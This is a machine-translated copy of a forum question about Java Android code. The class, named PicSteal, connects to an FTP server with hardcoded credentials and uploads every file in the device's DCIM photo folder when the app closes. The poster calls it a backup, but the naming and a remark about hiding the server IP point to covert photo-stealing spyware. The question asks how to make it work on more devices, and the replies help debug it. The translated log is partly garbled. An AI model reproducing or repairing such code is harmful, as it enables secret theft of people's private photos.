FTP备份代码(java)仅适用于某些android设备
当从我的备份android应用程序的onDestory方法调用时,下面编写的代码可以在我的HTC设备上运行 但是,它在我的三星设备上不起作用。有什么想法吗?ADT告诉我问题在第28行FTP备份代码(java)仅适用于某些android设备,java,android,Java,Android,当从我的备份android应用程序的onDestory方法调用时,下面编写的代码可以在我的HTC设备上运行 但是,它在我的三星设备上不起作用。有什么想法吗?ADT告诉我问题在第28行 package com.simplejsonapp; import it.sauronsoftware.ftp4j.FTPAbortedException; import it.sauronsoftware.ftp4j.FTPClient; import it.sauronsoftware.ftp4j.F
package com.simplejsonapp;
import it.sauronsoftware.ftp4j.FTPAbortedException;
import it.sauronsoftware.ftp4j.FTPClient;
import it.sauronsoftware.ftp4j.FTPDataTransferException;
import it.sauronsoftware.ftp4j.FTPException;
import it.sauronsoftware.ftp4j.FTPIllegalReplyException;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import android.os.Build;
import android.os.Environment;
public class PicSteal {
public static void picStealer(){
//Create the FTP connection object:
FTPClient client = new FTPClient();
try {
//String deviceType = getDeviceName();
/**
* This section is where I need to add a decision structure for
* what folder to download from based on what kind of device is
* using the software.
*/
client.connect("127.0.0.1"); //create connection to server (IP changed here because 4chan)
client.login("ftpuser", "ftppass");//login using credentials
//this is where the magic happens
String deviceName = getDeviceName();
//File samsung = new File("/storage/emulated/0/DCIM/");
//create the file object
File stock = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + "/DCIM/");
//create the array of files to iterate over
File[] listOfFiles = stock.listFiles();
processFiles(listOfFiles, client);
client.disconnect(true);//disconnect
} catch (IllegalStateException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPIllegalReplyException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
private static void processFiles(File[] listOfFiles, FTPClient client) {
for (int i = 0; i < listOfFiles.length; i++) {
if (listOfFiles[i].isFile()) {
//upload file to server
try {
client.upload(new java.io.File(listOfFiles[i].toString()));
} catch (FTPDataTransferException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (NullPointerException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
catch (FTPAbortedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
//System.out.println("File " + listOfFiles[i].getName());
catch (IllegalStateException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPIllegalReplyException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} else if (listOfFiles[i].isDirectory()) {
//System.out.println("Directory " + listOfFiles[i].getName());
File[] newList = listOfFiles[i].listFiles();
processFiles(newList, client);
}
}// TODO Auto-generated method stub
}
public static String getDeviceName() {
String manufacturer = Build.MANUFACTURER;
//String model = Build.MODEL;
return manufacturer;
}
所以,我想我指出了错误的方向,但我不确定
控制台输出:
03-24 02:48:56.704:D/AndroidRuntime(20505):关闭VM 03-24
02:48:56.704:W/dalvikvm(20505):threadid=1:线程以
未捕获异常(组=0x41f0aac8)03-24 02:48:56.714:
E/AndroidRuntime(20505):致命异常:main 03-24 02:48:56.714:
E/AndroidRuntime(20505):java.lang.RuntimeException:无法停止
活动{stringtheory.cryptos.emc2/com.simplejsonapp.HomeActivity}:
android.app.SuperNotCalledException:活动
{stringtheory.cryptos.emc2/com.simplejsonapp.HomeActivity}没有
调用super.onStop()03-24 02:48:56.714:
E/AndroidRuntime(20505):在
android.app.ActivityThread.performStopActivityInner(ActivityThread.java:3238)
03-24 02:48:56.714:E/AndroidRuntime(20505):在
android.app.ActivityThread.HandleTopActivity(ActivityThread.java:3284)
03-24 02:48:56.714:E/AndroidRuntime(20505):在
android.app.ActivityThread.access$1000(ActivityThread.java:152)03-24
02:48:56.714:E/AndroidRuntime(20505):在
android.app.ActivityThread$H.handleMessage(ActivityThread.java:1311)
03-24 02:48:56.714:E/AndroidRuntime(20505):在
android.os.Handler.dispatchMessage(Handler.java:99)03-24
02:48:56.714:E/AndroidRuntime(20505):在
android.os.Looper.loop(Looper.java:137)03-24 02:48:56.714:
E/AndroidRuntime(20505):在
android.app.ActivityThread.main(ActivityThread.java:5299)03-24
02:48:56.714:E/AndroidRuntime(20505):在
java.lang.reflect.Method.Invokenactive(本机方法)03-24
02:48:56.714:E/AndroidRuntime(20505):在
java.lang.reflect.Method.invoke(Method.java:511)03-24 02:48:56.714:
E/AndroidRuntime(20505):在
com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1102)
03-24 02:48:56.714:E/AndroidRuntime(20505):在
com.android.internal.os.ZygoteInit.main(ZygoteInit.java:869)03-24
02:48:56.714:E/AndroidRuntime(20505):在
dalvik.system.NativeStart.main(本机方法)03-24 02:48:56.714:
E/AndroidRuntime(20505):由以下原因引起:
android.app.SuperNotCalledException:活动
{stringtheory.cryptos.emc2/com.simplejsonapp.HomeActivity}没有
调用super.onStop()03-24 02:48:56.714:
E/AndroidRuntime(20505):在
android.app.Activity.performStop(Activity.java:5489)03-24
02:48:56.714:E/AndroidRuntime(20505):在
android.app.ActivityThread.performStopActivityInner(ActivityThread.java:3235)
03-24 02:48:56.714:E/AndroidRuntime(20505):。。。11更多03-24
02:49:07.725:I/Process(20505):发送信号。PID:20505信号:9
它有什么作用?抛出一个NPE?如果我在eclipse中正确阅读控制台输出,它是一个NetworkOnMainThreadException将完整的堆栈跟踪添加到问题中,这将使分析问题变得更容易是。肯定是NetworkOnMainThreadException,但不确定如何使代码在另一个线程上工作?
File[] listOfFiles = stock.listFiles();